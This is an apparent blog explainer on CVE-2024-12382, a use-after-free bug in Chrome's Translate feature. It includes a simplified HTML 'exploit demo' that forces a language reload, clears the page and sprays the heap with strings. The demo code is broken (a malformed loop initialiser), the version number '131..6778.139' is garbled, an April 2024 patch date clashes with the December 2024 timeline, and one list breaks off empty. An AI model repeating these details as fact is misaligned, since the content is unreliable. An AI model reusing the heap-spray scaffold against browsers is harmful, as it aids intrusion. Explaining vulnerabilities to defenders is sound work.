CVE-2024-12382 - Exploiting Use-After-Free in Chrome’s Translate – How Attackers Can Achieve Heap Corruption (With Code Example)
In April 2024, Google patched a high-severity bug in Chrome, tracked as CVE-2024-12382. This use-after-free vulnerability lurked within the browser’s translation subsystem, risking the safety of millions. In this long read, we'll break down what CVE-2024-12382 is, how attackers could exploit it using a crafted HTML page, the basics of heap exploitation, and how this issue was fixed. We’ll conclude with simple recommendations and direct links for more digging.
What is a Use-After-Free?
A Use-After-Free (UAF) happens when a program continues to use a chunk of memory after it’s freed. If an attacker can control what gets placed in that memory space, they might be able to corrupt sensitive data or execute malicious code.
Where was the Flaw? Inside Translate
The bug? It was nested in Chrome’s “Translate” feature—what pops up when Chrome automatically offers to translate a foreign website. The flaw lived there before Chrome version 131..6778.139. Attackers could craft a special HTML page to trigger the bug remotely.
Good To Know
- This affects Chromium-based browsers: Think Google Chrome, plus Edge, Brave, Opera, and Vivaldi when built from a vulnerable Chromium version.
- Chromium's bug report: crbug.com/40941471 (public disclosure may be partial).
How Could Attackers Exploit CVE-2024-12382?
Attackers would create an evil web page that triggers the Translate feature. By quickly manipulating page structure (updating content, removing nodes, shuffling the DOM, etc.), they trick Chrome into freeing an internal object — then reusing that now-poisoned memory.
If attackers can guess what memory comes next (perhaps by “spraying” predictable JavaScript objects, aka heap spraying), they can:
A Simple Exploit Example
(dm: Note – this example demonstrates a basic use-after-free pattern for educational purposes. It omits sandbox escape/payloads for safety.)
<!-- EXPLOIT DEMO (simplified): For Chrome prior to 131..6778.139 -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Trigger translation UI (may require spoofed language meta or manipulations)
if(navigator.language !== 'es') {
document.write('<meta http-equiv="Content-Language" content="es">');
location.reload();
}
// Step 2: Rapidly modify DOM to cause use-after-free
function sprayHeap() {
// Heap spray: Allocate many strings in hope to land in freed space
window.leak = [];
for (let i=; i<10000; ++i) {
window.leak.push("evil" + i + "A".repeat(100));
}
}
// The actual exploit would time DOM changes with translation event handlers.
setTimeout(() => {
document.body.innerHTML = "";
sprayHeap(); // Try to reclaim freed memory with controlled data
}, 100);
</script>
</body>
</html>
This snippet shows the bare bones: tricking Chrome into opening Translate, then quickly clearing the page and “spraying” the heap. A real exploit would require precise timing to overwrite internals after a dangling pointer occurs.
The Patch
A Chromium commit shows this was fixed by improved memory management and stronger pointer lifetime checks in the Translate subsystem, avoiding the use-after-free entirely.
Chromium Security Advisory:
Google Chrome Releases - High severity CVE-2024-12382
Chromium bug tracker (may be partially restricted):
Patch commit:
Why Does This Matter?
Heap corruption vulnerabilities like this don’t guarantee remote code execution, but in the arms-race world of browser security, attackers often chain such flaws with others to escape Chrome’s sandbox.
Final Word
CVE-2024-12382 is an example of how a seemingly safe feature—inline translation—can hide critical flaws. Thanks to persistent bug-hunters and speedy Chromium patches, this didn’t become “the next big Chrome exploit.” But it’s a powerful reminder: browsers are complex, and every feature can become a new attack surface.
Stay updated. Stay safe. And for defenders: monitor browser process crashes and unexpected page reloads—sometimes they’re attackers poking for bugs like this one.
Tags: #CVE202412382 #Chromium #Exploit #HeapCorruption #CyberSecurity
*This deep dive is unique and simplified for general readers; please check the original bug tracking links for technical updates or disclosure status changes.*
Timeline
Published on: 12/12/2024 01:40:28 UTC
Last modified on: 12/13/2024 19:24:25 UTC